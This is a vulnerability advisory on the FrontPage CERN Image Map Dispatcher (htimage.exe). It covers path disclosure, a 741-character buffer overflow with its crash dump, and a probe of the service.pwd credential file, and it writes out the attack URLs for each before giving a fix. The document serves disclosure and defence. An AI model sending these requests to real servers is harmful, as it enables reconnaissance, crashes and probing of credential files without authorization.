ADV-150400.txt

`-------[ Legion2000 - Russian Security Team (ADV-150400#1) ]-------  
www.legion2000.cc  
  
---- INFORMATION ----  
Program Name : CERN Image Map Dispatcher  
Discovered By : Narrow ([email protected])  
---------------------  
  
  
Problem Description  
~~~~~~~~~~~~~~~~~~  
CERN Image Map Dispatcher (/cgi-bin/htimage.exe) comes by default with FrontPage. I found three bugs  
in "htimage.exe": 1) Gives us the full path to the root directory 2) Simple buffer overflow 3) Allow  
us to access files.  
  
  
Problem #1  
~~~~~~~~~  
Like I said, the first bug gives us the full path to the root directory. I tested this vulnerability  
against some servers, all where vulnerable!  
  
Tested / Vulnerable FP Servers: 3.0.2.926 (FrontPage'98), 3.0.2.1706, 4.0.2.2717, 2.0.1.927, 3.0.2.926,  
3.0.2.1105, 3.0.2.1330, 3.0.2.1117 (All Windows based web servers are vulnerable if we have premission  
to execute "htimage.exe" + If "htimage.exe" exist).  
  
To test this vulnerability we need "htimage.exe" in our "cgi-bin" directory (it's installed by default)  
and premission to execute it. That's why only Windows is vulnerable, Unix based systems can't execute  
"*.exe" files.  
  
If we access "htimage.exe" using our favorite web browser like: http://server/cgi-bin/htimage.exe/linux?0,0  
we get this error:  
  
------------------------------------------------------------------------------------  
Error  
  
Error calling HTImage:  
  
Picture config file not found, tried the following:  
  
q:/hidden_directory_because_of_the_script_kiddies/webroot/linux  
/linux  
------------------------------------------------------------------------------------  
  
Now we know that the path to the root directory is "q:/hidden_directory_because_of_the_script_kiddies/webroot/".  
  
Problem #2  
~~~~~~~~~  
Like I said, simple buffer overflow. Tested against "Microsoft-PWS-95/2.0" and "FrontPage-PWS32".  
Tested / Vulnerable OS: Windows'95/98  
"htimage.exe" buffer overflows if we access it like: http://server/cgi-bin/htimage.exe/<741 A's>?0,0.  
  
------------------------------------------------------------------------------------  
HTIMAGE caused an invalid page fault in  
module <unknown> at 0000:41414141.  
Registers:  
0EAX=815c6240 CS=0137 EIP=41414141 EFLGS=00010246  
EBX=0063fe28 SS=013f ESP=005400b4 EBP=005400d4  
ECX=0054015c DS=013f ESI=005401a0 FS=3467  
EDX=bff76648 ES=013f EDI=00540184 GS=0000  
Bytes at CS:EIP:  
  
Stack dump:  
bff7663c 00540184 0063fe28 005401a0 0054015c 00540290 bff76648 0063fe28  
0054016c bff85a0a 00540184 0063fe28 005401a0 0054015c 41414141 0054034c  
------------------------------------------------------------------------------------  
<Server still running> + <500 Server Error>  
  
First remote FrontPage exploit?  
  
  
Problem #3  
~~~~~~~~~  
It's not a serious bug. Using "htimage.exe" we can access files on server, but  
we can't read them. Accessing "htimage.exe" like: http://server/cgi-bin/htimage.exe/_vti_pvt/service.pwd?0,0  
outputs:  
  
------------------------------------------------------------------------------------  
Error  
  
Error calling HTImage:  
  
HTImage.c: Syntax error at line 1 Bad field name, expecting 'default', 'rectangle', 'circle' or  
'polygon' (got an alphanumeric string)  
------------------------------------------------------------------------------------  
  
NOTE: Accessing "/_vti_pvt/service.pwd" outputs : 403 Forbidden  
  
Solution  
~~~~~~~  
1) Remove "htimage.exe".  
2) Do not use FrontPage, simple enough :)  
  
Comments  
~~~~~~~  
Sorry for my bad english, not my mother/father language ;)  
  
  
`